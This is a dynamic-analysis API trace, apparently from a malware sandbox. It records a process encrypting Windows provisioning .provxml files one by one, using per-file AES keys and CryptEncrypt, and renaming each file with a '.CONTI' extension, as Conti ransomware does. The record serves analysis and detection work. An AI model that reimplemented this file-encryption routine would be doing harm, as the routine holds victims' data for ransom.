	[0113.849] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.849] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0113.850] GetLastError () returned 0x0
	[0113.850] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=721) returned 1
	[0113.850] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0113.850] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.850] SetEndOfFile (hFile=0x410) returned 1
	[0113.850] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.850] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.850] WriteFile (in: hFile=0x410, lpBuffer=0x6b47094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b47094*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0113.856] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.856] ReadFile (in: hFile=0x410, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2d1, lpOverlapped=0x0) returned 1
	[0113.856] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d1, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0113.856] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.856] WriteFile (in: hFile=0x410, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.857] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.857] WriteFile (in: hFile=0x410, lpBuffer=0x6b47088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b47088*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0113.857] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.857] CloseHandle (hObject=0x410) returned 1
	[0113.857] GetProcessHeap () returned 0x1720000
	[0113.857] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.857] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.857] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.857] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\671__connections_cellular_dell (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.858] GetProcessHeap () returned 0x1720000
	[0113.858] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.858] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.858] GetProcessHeap () returned 0x1720000
	[0113.858] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4c90 | out: hHeap=0x1720000) returned 1
	[0113.858] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0113.858] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b44e58 | out: phKey=0x6b44e58*=0x17c78f0) returned 1
	[0113.858] CryptExportKey (in: hKey=0x17c78f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44e5c, pdwDataLen=0x34ffaac | out: pbData=0x6b44e5c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0113.859] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.859] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0113.859] GetLastError () returned 0x0
	[0113.859] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=713) returned 1
	[0113.859] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0113.859] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.859] SetEndOfFile (hFile=0x410) returned 1
	[0113.859] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.860] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.860] WriteFile (in: hFile=0x410, lpBuffer=0x6b44e5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b44e5c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0113.864] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.865] ReadFile (in: hFile=0x410, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2c9, lpOverlapped=0x0) returned 1
	[0113.865] CryptEncrypt (in: hKey=0x17c78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2c9, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d0) returned 1
	[0113.865] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.865] WriteFile (in: hFile=0x410, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.865] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.865] WriteFile (in: hFile=0x410, lpBuffer=0x6b44e50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b44e50*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0113.865] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.865] CloseHandle (hObject=0x410) returned 1
	[0113.865] GetProcessHeap () returned 0x1720000
	[0113.865] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.865] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml"
	[0113.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.865] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.866] GetProcessHeap () returned 0x1720000
	[0113.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.866] CryptDestroyKey (hKey=0x17c78f0) returned 1
	[0113.866] GetProcessHeap () returned 0x1720000
	[0113.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5818 | out: hHeap=0x1720000) returned 1
	[0113.866] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0113.866] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b46770 | out: phKey=0x6b46770*=0x17c78f0) returned 1
	[0113.866] CryptExportKey (in: hKey=0x17c78f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46774, pdwDataLen=0x34ffaac | out: pbData=0x6b46774*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0113.867] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.867] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0113.868] GetLastError () returned 0x0
	[0113.868] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=721) returned 1
	[0113.868] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0113.868] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.868] SetEndOfFile (hFile=0x410) returned 1
	[0113.868] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.868] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.868] WriteFile (in: hFile=0x410, lpBuffer=0x6b46774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b46774*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0113.870] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.870] ReadFile (in: hFile=0x410, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2d1, lpOverlapped=0x0) returned 1
	[0113.870] CryptEncrypt (in: hKey=0x17c78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d1, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0113.870] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.870] WriteFile (in: hFile=0x410, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.870] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.870] WriteFile (in: hFile=0x410, lpBuffer=0x6b46768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b46768*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0113.870] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.870] CloseHandle (hObject=0x410) returned 1
	[0113.871] GetProcessHeap () returned 0x1720000
	[0113.871] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.871] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml"
	[0113.871] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.871] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.872] GetProcessHeap () returned 0x1720000
	[0113.872] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.872] CryptDestroyKey (hKey=0x17c78f0) returned 1
	[0113.872] GetProcessHeap () returned 0x1720000
	[0113.872] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5960 | out: hHeap=0x1720000) returned 1
	[0113.872] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0113.872] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x17c7af0) returned 1
	[0113.872] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x34ffaac | out: pbData=0x6b472dc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0113.873] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.873] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0113.873] GetLastError () returned 0x0
	[0113.873] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=723) returned 1
	[0113.873] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0113.873] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.873] SetEndOfFile (hFile=0x410) returned 1
	[0113.874] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.874] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.874] WriteFile (in: hFile=0x410, lpBuffer=0x6b472dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b472dc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0115.034] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.034] ReadFile (in: hFile=0x410, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2d3, lpOverlapped=0x0) returned 1
	[0115.034] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d3, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0115.034] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.034] WriteFile (in: hFile=0x410, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0115.034] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.034] WriteFile (in: hFile=0x410, lpBuffer=0x6b472d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b472d0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0115.034] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.034] CloseHandle (hObject=0x410) returned 1
	[0115.530] GetProcessHeap () returned 0x1720000
	[0115.530] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656a0f8
	[0115.530] lstrcpyW (in: lpString1=0x656a0f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml"
